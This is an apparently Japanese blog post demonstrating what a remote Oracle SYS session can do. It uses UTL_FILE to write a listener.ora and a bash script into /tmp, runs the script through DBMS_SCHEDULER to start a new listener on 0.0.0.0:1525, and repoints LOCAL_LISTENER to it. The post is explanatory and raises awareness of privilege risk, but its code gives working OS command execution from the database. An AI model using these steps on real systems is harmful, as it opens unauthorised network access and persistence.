特権ユーザでインスタンスに接続できると、どれぐらいのことができるかという話。
インスタンスの中からリスナーを作ってみました。
(もともとは、OS には入れないけどリモートからSYSで接続できる場合に、どれぐらいまずいのか?を説明するために試してみました。)
とりあえず、ディレクトリを作成。どこでもいいけど、とりあえず /tmp 。
create or replace directory TMP as '/tmp';
UTL_FILE で listener.ora を作成。
declare f UTL_FILE.FILE_TYPE; begin f := UTL_FILE.FOPEN('TMP','listener.ora','w'); UTL_FILE.PUT_LINE(f,'testlsnr=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=0.0.0.0)(PORT=1525)))',true); UTL_FILE.FCLOSE(f); end; /
次に UTL_FILE でリスナーを起動するためのシェルを作成。
ポイントは、
declare f UTL_FILE.FILE_TYPE; begin f := UTL_FILE.FOPEN('TMP','a.sh','w'); UTL_FILE.PUT_LINE(f,'#!/bin/bash',true); UTL_FILE.PUT_LINE(f,'export LD_LIBRARY_PATH=/u01/app/oracle/product/12.2.0/dbhome1/lib',true); UTL_FILE.PUT_LINE(f,'export NLS_LANG=American_America.UTF8',true); UTL_FILE.PUT_LINE(f,'export ORACLE_BASE=/u01/app/oracle',true); UTL_FILE.PUT_LINE(f,'export ORACLE_HOME=/u01/app/oracle/product/12.2.0/dbhome1',true); UTL_FILE.PUT_LINE(f,'export PATH=/u01/app/oracle/product/12.2.0/dbhome1/bin',true); UTL_FILE.PUT_LINE(f,'export TNS_ADMIN=/tmp',true); UTL_FILE.PUT_LINE(f,'/u01/app/oracle/product/12.2.0/dbhome1/bin/lsnrctl start testlsnr',true); UTL_FILE.PUT_LINE(f,'exit 0',true); UTL_FILE.FCLOSE(f); end; /
ちなみに、ORACLE_HOME のパスはインスタンスの中からは特定できない。。。
なんとか入手してください。ダメなら手あたり次第か。
そして、DBMS_SCHEDULER でシェルを実行。
ポイントは、
begin DBMS_SCHEDULER.CREATE_JOB( job_name => 'startlsnr', job_type => 'EXECUTABLE', job_action => '/bin/bash', number_of_arguments => 1, enabled => false, auto_drop => true ); DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('startlsnr',1,'/tmp/a.sh'); end; / BEGIN DBMS_SCHEDULER.ENABLE('startlsnr'); END; /
これで、リスナーが起動できるはず。
つないでいるインスタンスが、新しく作ったリスナーにサービス登録するため、LOCAL_LISTENER を書き換え。
alter system set local_listener='(ADDRESS=(PROTOCOL=TCP)(HOST=0.0.0.0)(PORT=1525))'; alter system register;
これで完了。あまり意味はないかもしれませんが、リモート接続でもSYSの権限を与えれば割と自由にできる話。
こわい、こわい。